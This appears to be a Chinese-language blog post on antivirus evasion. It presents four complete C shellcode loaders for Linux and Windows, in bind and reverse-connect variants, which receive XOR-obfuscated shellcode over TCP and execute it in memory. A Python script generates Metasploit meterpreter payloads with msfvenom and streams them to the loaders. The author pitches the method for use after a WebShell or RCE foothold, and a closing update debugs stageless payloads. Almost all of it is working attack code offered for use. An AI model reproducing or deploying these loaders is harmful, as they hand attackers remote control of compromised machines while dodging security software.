Shellcode_Loader

分离免杀,把ShellCode的加载部分与运行部分分开,再通过TCP Socket传输运行部分给到Loader程序,从而实现Shellcode直接在内存中运行

闲着上网冲浪偶然看到了这个免杀方法,适用于WebShell或者RCE漏洞,但网上找到的不是特别全
这里按照系统与正反向连接方法的不同写了四份代码,并额外添加了Shellcode异或以避免被检测到直接传输Shelllcode
顺手写了个meterpreter payload生成并自动传输的脚本
本想开个repo的,但是感觉这玩意后续也没啥可更新的了,直接丢blog里算了

Linux_Bind

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#include <arpa/inet.h>
#include <netinet/in.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <unistd.h>

int main(void)
{
char bufferReceivedBytes[2000000] = {0};
const char *port = "1338";
const int key = 0xff;
int buffer = 1024;
int count = 0;
int index = 0;
int listenSocket, clientSocket;
int recvBytes = 0;
struct sockaddr_in serverAddr, clientAddr;

socklen_t clientAddrLen = sizeof(clientAddr);
serverAddr.sin_family = AF_INET;
serverAddr.sin_addr.s_addr = INADDR_ANY;
serverAddr.sin_port = htons(atoi(port));
listenSocket = socket(AF_INET, SOCK_STREAM, 0);
bind(listenSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr));
listen(listenSocket, SOMAXCONN);
clientSocket = accept(listenSocket, (struct sockaddr *)&clientAddr, &clientAddrLen);
do
{
recvBytes = recv(clientSocket, bufferReceivedBytes + index, buffer, 0);
if (recvBytes > 0)
{
if (recvBytes == buffer)
{
count++;
for(; index < count * buffer; index++)
{
bufferReceivedBytes[index] = bufferReceivedBytes[index] ^ key;
}
}
else
{
for(; index < count * buffer + recvBytes; index++)
{
bufferReceivedBytes[index] = bufferReceivedBytes[index] ^ key;
}
}
}
else
{
break;
}
sleep(0.1);
}
while(1);
void *shellcode = mmap(NULL, 2000000, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
memcpy(shellcode, bufferReceivedBytes, 2000000);
((void(*)()) shellcode)();
return 0;
}

Linux_Reverse

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#include <arpa/inet.h>
#include <netinet/in.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <unistd.h>

int main(void)
{
char bufferReceivedBytes[2000000] = {0};
const char* port = "1338";
const char* serverAddress = "192.168.56.101";
const int key = 0xff;
int buffer = 1024;
int clientSocket;
int count = 0;
int index = 0;
int recvBytes = 0;
struct sockaddr_in serverAddr;

socklen_t serverAddrLen = sizeof(serverAddr);
clientSocket = socket(AF_INET, SOCK_STREAM, 0);
serverAddr.sin_family = AF_INET;
serverAddr.sin_port = htons(atoi(port));
inet_pton(AF_INET, serverAddress, &serverAddr.sin_addr);
connect(clientSocket, (struct sockaddr*)&serverAddr, serverAddrLen);
do
{
recvBytes = recv(clientSocket, bufferReceivedBytes + index, buffer, 0);
printf("%d\n", recvBytes);
if (recvBytes > 0)
{
if (recvBytes == buffer)
{
count++;
for(; index < count * buffer; index++)
{
bufferReceivedBytes[index] = bufferReceivedBytes[index] ^ key;
}
}
else
{
for(; index < count * buffer + recvBytes; index++)
{
bufferReceivedBytes[index] = bufferReceivedBytes[index] ^ key;
}
}
}
else
{
printf("break\n");
break;
}
sleep(0.1);
}
while(1);
void *shellcode = mmap(NULL, 2000000, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
memcpy(shellcode, bufferReceivedBytes, 2000000);
((void(*)()) shellcode)();
return 0;
}

Windows_Bind

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#include <stdio.h>
#include <WinSock2.h>
#include <Windows.h>
#include <WS2tcpip.h>
#include <unistd.h>

int main(void)
{
char bufferReceivedBytes[2000000] = {0};
const int key = 0xff;
int buffer = 1024;
int count = 0;
int index = 0;
int recvBytes = 0;
PCSTR port = "1338";
SOCKET clientSocket = INVALID_SOCKET;
SOCKET listenSocket = INVALID_SOCKET;
WSADATA wsaData;

ADDRINFOA SocketHint = {0};
ADDRINFOA* AddrInfo = NULL;
SocketHint.ai_family = AF_INET;
SocketHint.ai_socktype = SOCK_STREAM;
SocketHint.ai_protocol = IPPROTO_TCP;
SocketHint.ai_flags = AI_PASSIVE;
WSAStartup(MAKEWORD(2, 2), &wsaData);
GetAddrInfoA(NULL, port, &SocketHint, &AddrInfo);
listenSocket = socket(AddrInfo->ai_family, AddrInfo->ai_socktype, AddrInfo->ai_protocol);
bind(listenSocket, AddrInfo->ai_addr, (int)AddrInfo->ai_addrlen);
listen(listenSocket, SOMAXCONN);
clientSocket = accept(listenSocket, NULL, NULL);
do
{
recvBytes = recv(clientSocket, bufferReceivedBytes + index, buffer, 0);
if (recvBytes > 0)
{
if (recvBytes == buffer)
{
count++;
for(; index < count * buffer; index++)
{
bufferReceivedBytes[index] = bufferReceivedBytes[index] ^ key;
}
}
else
{
for(; index < count * buffer + recvBytes; index++)
{
bufferReceivedBytes[index] = bufferReceivedBytes[index] ^ key;
}
}
}
else
{
break;
}
sleep(0.1);
}
while(TRUE);
LPVOID shellcode = VirtualAlloc(NULL, 2000000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(shellcode, bufferReceivedBytes, 2000000);
((void(*)()) shellcode)();
return 0;
}

Windows_Reverse

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#include <stdio.h>
#include <WinSock2.h>
#include <Windows.h>
#include <WS2tcpip.h>
#include <unistd.h>

int main(void)
{
char bufferReceivedBytes[2000000] = {0};
const int key = 0xff;
int buffer = 1024;
int count = 0;
int index = 0;
int recvBytes = 0;
PCSTR port = "1338";
PCSTR serverAddress = "192.168.56.101";
SOCKET clientSocket = INVALID_SOCKET;
WSADATA wsaData;

ADDRINFOA SocketHint = {0};
ADDRINFOA* AddrInfo = NULL;
SocketHint.ai_family = AF_INET;
SocketHint.ai_socktype = SOCK_STREAM;
SocketHint.ai_protocol = IPPROTO_TCP;

WSAStartup(MAKEWORD(2, 2), &wsaData);
GetAddrInfoA(serverAddress, port, &SocketHint, &AddrInfo);
clientSocket = socket(AddrInfo->ai_family, AddrInfo->ai_socktype, AddrInfo->ai_protocol);
connect(clientSocket, AddrInfo->ai_addr, (int)AddrInfo->ai_addrlen);
do
{
recvBytes = recv(clientSocket, bufferReceivedBytes + index, buffer, 0);
if (recvBytes > 0)
{
if (recvBytes == buffer)
{
count++;
for(; index < count * buffer; index++)
{
bufferReceivedBytes[index] = bufferReceivedBytes[index] ^ key;
}
}
else
{
for(; index < count * buffer + recvBytes; index++)
{
bufferReceivedBytes[index] = bufferReceivedBytes[index] ^ key;
}
}
}
else
{
break;
}
sleep(0.1);
}
while(TRUE);
LPVOID shellcode = VirtualAlloc(NULL, 2000000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(shellcode, bufferReceivedBytes, 2000000);
((void(*)()) shellcode)();
return 0;
}

Shellcode_transferer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
import binascii
import click
import socket
import subprocess
import sys

@click.command()
@click.option("-h", required = True, type = str, help = "Host")
@click.option("-p", required = True, type = int, help = "Port")
@click.option("-lp", required = True, type = int, help = "Loader port")
@click.option("-pl", required = True, type = click.Choice(["w", "l"]), help = "Platform (choices: w for windows, l for linux)")
@click.option("-x86", default = None, is_flag = True, help = "-x86 for x86")
@click.option("-b", default = None, is_flag = True, help = "-b for bind shell (default: reverse shell)")
@click.option("-s", default = None, is_flag = True, help = "-b for stageless (default: staged)")

def shellcode_start(x86, pl, b, s, h, p, lp):
x86 = x86
platform = pl
bind = b
stageless = s
host = h
port = p
loader_port = lp
if x86:
if stageless:
if platform == "w":
if bind:
msfvenom = "msfvenom -p windows/meterpreter_bind_tcp LPORT=%d -f c -b '\\x00' -e x86/xor_dynamic" % (port)
else:
msfvenom = "msfvenom -p windows/meterpreter_reverse_tcp LHOST=%s LPORT=%d -f c -b '\\x00' -e x86/xor_dynamic" % (host, port)
elif platform == "l":
if bind:
print("No such payload")
exit()
else:
print("Error: selected payload can only generate ELF files")
exit()
else:
if platform == "w":
if bind:
msfvenom = "msfvenom -p windows/meterpreter/bind_tcp LPORT=%d -f c -b '\\x00' -e x86/xor_dynamic" % (port)
else:
msfvenom = "msfvenom -p windows/meterpreter/reverse_tcp LHOST=%s LPORT=%d -f c -b '\\x00' -e x86/xor_dynamic" % (host, port)
elif platform == "l":
if bind:
msfvenom = "msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=%d -f c -b '\\x00' -e x86/xor_dynamic" % (port)
else:
msfvenom = "msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=%s LPORT=%d -f c -b '\\x00' -e x86/xor_dynamic" % (host, port)
else:
if stageless:
if platform == "w":
if bind:
msfvenom = "msfvenom -p windows/x64/meterpreter_bind_tcp LPORT=%d -f c -b '\\x00' -e x64/xor_dynamic" % (port)
else:
msfvenom = "msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=%s LPORT=%d -f c -b '\\x00' -e x64/xor_dynamic" % (host, port)
elif platform == "l":
if bind:
print("No such payload")
exit()
else:
print("Error: selected payload can only generate ELF files")
exit()
else:
if platform == "w":
if bind:
msfvenom = "msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=%d -f c -b '\\x00' -e x64/xor_dynamic" % (port)
else:
msfvenom = "msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=%s LPORT=%d -f c -b '\\x00' -e x64/xor_dynamic" % (host, port)
elif platform == "l":
if bind:
msfvenom = "msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=%d -f c -b '\\x00' -e x64/xor_dynamic" % (port)
else:
msfvenom = "msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=%s LPORT=%d -f c -b '\\x00' -e x64/xor_dynamic" % (host, port)
print(msfvenom)
result, err = subprocess.Popen(msfvenom, stdout = subprocess.PIPE, stderr = subprocess.PIPE, shell = True).communicate()
result = binascii.unhexlify(result.decode().split("= \n\"")[1].replace("\"\n\"", "")[:-3].replace("\\x", "").encode())
key = 0xff
buffer_len = 1024
new_shellcode = ""
for _ in result:
new_shellcode = new_shellcode + chr(_ ^ key)

if bind:
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((host, loader_port))
shellcode_len = len(new_shellcode)
count = shellcode_len // buffer_len
remained = shellcode_len - count * buffer_len
for I in range(count):
client_socket.send(new_shellcode[I * buffer_len:(I + 1) * buffer_len].encode("ISO-8859-1"))
client_socket.send(new_shellcode[-remained:].encode("ISO-8859-1"))
print("%d bytes sended." % shellcode_len)
client_socket.close()
else:
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind(("0.0.0.0", loader_port))
server_socket.listen(1)
print("Socket server online.")
client_socket, client_address = server_socket.accept()
shellcode_len = len(new_shellcode)
count = shellcode_len // buffer_len
remained = shellcode_len - count * buffer_len
for I in range(count):
client_socket.send(new_shellcode[I * buffer_len:(I + 1) * buffer_len].encode("ISO-8859-1"))
client_socket.send(new_shellcode[-remained:].encode("ISO-8859-1"))
print("%d bytes sended." % shellcode_len)
client_socket.close()
server_socket.close()

if __name__ == "__main__":
shellcode_start()

Update

突发奇想想更新对stageless的支持
稍微修改一下C代码就行了,无非是for循环读取socket数据,python代码同样加个for循环发送socket数据
但是测试linux的stageless revese shell的时候一直段错误
一开始猜想100多KB的Shellcode在memcpy或执行的时候出了问题
但是用ndisasm反汇编staged Shellcode之后插入100多KB的nop指令依然能够正常运行,显然不是Shellcode过长的问题
硬编码写入Shellcode之后编译成ELF程序丢edb里面慢慢看
Shellcode的作用一开始是对自身进行异或解密,解密完之后jmp rcx就出现问题

1
2
3
7f 45			jg 0x7ffff7cbaae5	
4c 46 02 01 add r8b, [rcx]
01 00 add [rax], eax

执行add [rax], eax时,rax的值是0000000000000003
想了一会儿没想明白这玩意到底是要干嘛,结果瞅一眼Data dump给我整绷不住了

1
00007fff:f7cbaa9e|7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00|.ELF............|

这玩意不是ELF文件头么,怎么拿来当汇编码来执行了…
猜测这个ELF拉出来直接运行就是反弹Shell的程序,试了一下确实是这样
32位的linux/x86/meterpreter_reverse_tcp也是同样的问题

Framework Version: 6.3.25-dev

更新之后还是这个问题

Framework Version: 6.3.52-dev

之前看到这段报错没怎么在意,现在算是读懂了

1
2
3
4
5
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=[DATA EXPUNGED] LPORT=[DATA EXPUNGED] -f c 
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Error: selected payload can only generate ELF files

但是加个-b '\x00'就不会报错而是直接生成有问题的Shellcode